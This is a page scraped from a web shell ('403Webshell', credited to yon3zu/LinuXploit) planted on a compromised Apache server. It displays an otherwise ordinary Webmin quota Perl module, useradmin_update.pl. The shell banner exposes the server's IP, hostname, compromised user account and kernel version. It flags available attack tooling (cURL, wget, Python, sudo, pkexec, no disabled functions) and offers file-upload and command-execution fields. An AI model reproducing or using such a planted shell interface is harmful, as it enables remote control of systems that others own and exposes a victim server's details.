403Webshell
Server IP : 104.21.25.180  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/quota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/quota/useradmin_update.pl
do 'quota-lib.pl';

# useradmin_create_user(&details)
# Sets quotas on chosen filesystems
sub useradmin_create_user
{
local ($anysync) = grep { /^sync_/ } (keys %config);
return if (!$anysync);
local ($k, $fs, $i, %fslist);
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
foreach $k (keys %config) {
	if ($k =~ /^sync_(\S+)$/ && $fslist{$1}) {
		# found a filesystem to set quotas on
		$fs = $1;
		@quot = split(/\s+/, $config{$k});
		&edit_user_quota($_[0]->{'user'}, $fs, @quot);
		}
	}
}

# useradmin_delete_user(&details)
# Zero the quotas of a deleted user
sub useradmin_delete_user
{
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
$n = &user_filesystems($_[0]->{'user'});
for($i=0; $i<$n; $i++) {
	$f = $filesys{$i,'filesys'};
	if ($fslist{$f}) {
		# user has quota, and filesystem is local
		&edit_user_quota($_[0]->{'user'}, $f, 0, 0, 0, 0);
		}
	}
}

# useradmin_modify_user(&details)
# Quotas are stored by UID, so no need to change anything
# when a username changes.
sub useradmin_modify_user
{
# XXX should change if UID changes?
}


# useradmin_create_group(&details)
# Sets quotas on chosen filesystems
sub useradmin_create_group
{
local ($anysync) = grep { /^gsync_/ } (keys %config);
return if (!$anysync);
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
local ($k, $fs, $i, %fslist);
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
foreach $k (keys %config) {
	if ($k =~ /^gsync_(\S+)$/ && $fslist{$1}) {
		# found a filesystem to set quotas on
		$fs = $1;
		@quot = split(/\s+/, $config{$k});
		&edit_group_quota($_[0]->{'group'}, $fs, @quot);
		}
	}
}

# useradmin_delete_group(&details)
# Zero the quotas of a deleted group
sub useradmin_delete_group
{
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
$n = &group_filesystems($_[0]->{'group'});
for($i=0; $i<$n; $i++) {
	$f = $filesys{$i,'filesys'};
	if ($fslist{$f}) {
		# group has quota, and filesystem is local
		&edit_group_quota($_[0]->{'group'}, $f, 0, 0, 0, 0);
		}
	}
}

# useradmin_modify_group(&details)
# Quotas are stored by UID, so no need to change anything
# when a group name changes.
sub useradmin_modify_group
{
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
# XXX should change if UID changes?
}


1;


Youez - 2016 - github.com/yon3zu
LinuXploit